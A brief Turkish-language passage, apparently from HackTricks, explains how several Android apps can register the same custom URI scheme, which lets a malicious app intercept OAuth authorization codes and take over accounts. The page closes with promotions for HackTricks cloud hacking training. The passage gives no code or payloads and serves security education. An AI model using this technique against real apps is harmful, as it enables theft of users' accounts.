Mobil OAuth uygulamalarında, Authorization Code almak için uygulamalar redirect’leri almak üzere custom URI schemes kullanır. Ancak bir cihazda aynı şemayı birden fazla uygulama kaydedebileceği için, yalnızca meşru istemcinin redirect URI’yi kontrol ettiği varsayımı bozulur. Örneğin Android’de com.example.app:// gibi bir Intent URI, scheme ve bir uygulamanın intent-filter’ında tanımlanan isteğe bağlı filtrelere göre yakalanır. Android’in intent çözümlemesi özellikle sadece scheme belirtilmişse geniş olabilir; bir saldırgan, dikkatlice hazırlanmış bir intent filter ile kötü niyetli bir uygulama kaydederek authorization code’u ele geçirebilir. Bu, birden fazla uygulama intent’i işleyebiliyorsa kullanıcı etkileşimi yoluyla veya Ostorlab’ın değerlendirme akış şemasında ayrıntılandırıldığı gibi aşırı spesifik filtreleri kötüye kullanan baypas teknikleriyle hesap ele geçirmeye olanak sağlayabilir.

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin